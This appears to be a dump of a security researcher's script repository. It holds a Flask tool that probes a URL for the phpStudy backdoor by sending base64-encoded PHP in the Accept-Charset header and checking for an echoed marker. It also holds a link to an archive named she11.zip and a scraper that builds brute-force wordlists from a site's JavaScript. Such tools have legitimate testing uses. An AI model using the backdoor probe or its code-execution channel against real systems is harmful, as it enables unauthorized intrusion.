-------------------------------------------------------------------------------- 1 | # Author: CoolCat 2 | # Email: 27958875@qq.com 3 | # https://github.com/TheKingOfDuck 4 | 5 | import requests 6 | from flask import Flask,request,render_template 7 | 8 | app = Flask(__name__) 9 | 10 | @app.route('/', methods=['GET','POST']) 11 | def index(): 12 | if request.method == "GET": 13 | return render_template('index.html') 14 | else: 15 | vurl = request.form.get('vurl') 16 | 17 | session = requests.Session() 18 | headers = {"Accept-Charset": 'ZWNobygnVGhpc0lzQVRlc3RGb3JQaHBTdHVkeUJhY2tkb29yJyk7', 19 | "Cache-Control": "max-age=0", 20 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", 21 | "Upgrade-Insecure-Requests": "1", 22 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36", 23 | "Connection": "close", 24 | "Accept-Language": "zh-CN,zh;q=0.9", 25 | "Accept-Encoding": "gzip,deflate" 26 | } 27 | response = session.get(url=vurl, headers=headers) 28 | 29 | if 'ThisIsATestForPhpStudyBackdoor' in response.text: 30 | return render_template('index.html', stat='True') 31 | else: 32 | return render_template('index.html', stat='False') 33 | 34 | if __name__ == '__main__': 35 | app.run() 36 | -------------------------------------------------------------------------------- /phpstudyOnlineCheck/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | phpstudyCheck 8 | 9 | 10 |
11 | Target:
12 | 13 | status：{{ stat }} 14 |
15 | 16 | -------------------------------------------------------------------------------- /she11.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKingOfDuck/myScripts/e80ca969d481ac13b6d63fa7a15aea5a8f084f0d/she11.zip -------------------------------------------------------------------------------- /web2dict/app.py: -------------------------------------------------------------------------------- 1 | # 2 | import re 3 | import sys 4 | import requests 5 | from loguru import logger 6 | 7 | import urllib3 8 | urllib3.disable_warnings() 9 | 10 | proxies = { 11 | "http": "http://127.0.0.1:8080", 12 | "https": "http://127.0.0.1:8080", 13 | } 14 | 15 | all_words = [] 16 | 17 | def get_text_from_url(url): 18 | 19 | print("Getting text from url: %s" % url) 20 | 21 | session = requests.Session() 22 | 23 | headers = { 24 | "Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"96\", \"Google Chrome\";v=\"96\"", 25 | "Accept": "application/json, text/plain, */*", 26 | "Sec-Ch-Ua-Platform": "\"macOS\"", 27 | "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36", 28 | "Sec-Fetch-Site": "same-origin", 29 | "Sec-Fetch-Dest": "empty", 30 | "Accept-Encoding": "gzip, deflate", 31 | "Accept-Language": "en,zh-CN;q=0.9,zh;q=0.8", 32 | "Sec-Ch-Ua-Mobile": "?0", 33 | "X-Origin-Product": "1", 34 | "Sec-Fetch-Mode": "cors" 35 | } 36 | response = session.get(url=url, headers=headers, proxies=proxies, verify=False) 37 | 38 | # print("Status code: %i" % response.status_code) 39 | # print("Response body: %s" % response.content) 40 | return str(response.text) 41 | 42 | 43 | def get_word_from_text(text): 44 | words = re.findall("[a-zA-Z0-9]+", text) 45 | # print("Got word size: %s" %len(words)) 46 | for word in words: 47 | all_words.append(word) 48 | 49 | def save_word_to_file(words, filename): 50 | for word in words: 51 | if len(word) < 45: 52 | f = open(filename, 'a') 53 | f.write(word + "\n") 54 | f.flush() 55 | f.close() 56 | 57 | 58 | if __name__ == '__main__': 59 | url = sys.argv[1] 60 | filename = sys.argv[2] 61 | print("Starting to connect to Web Server...") 62 | text = get_text_from_url(url) 63 | # print(text) 64 | get_word_from_text(text) 65 | 66 | urls = re.findall('(href=\"|src=\")(.*?)(\?|\")', text) 67 | for url2 in urls: 68 | url2 = url2[1] 69 | # print(url2) 70 | text = "" 71 | if url2.startswith("http") and url2.endswith(".js"): 72 | text = get_text_from_url(url2) 73 | elif url2.startswith("//") and url2.endswith(".js"): 74 | text = get_text_from_url("http:" + url2) 75 | elif url2.endswith(".js"): 76 | text = get_text_from_url(url + "/" + url2) 77 | get_word_from_text(text) 78 | print(len(all_words)) 79 | all_words = set(all_words) 80 | print(len(all_words)) 81 | save_word_to_file(all_words,filename) 82 | -------------------------------------------------------------------------------- /wx.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheKingOfDuck/myScripts/e80ca969d481ac13b6d63fa7a15aea5a8f084f0d/wx.jpg --------------------------------------------------------------------------------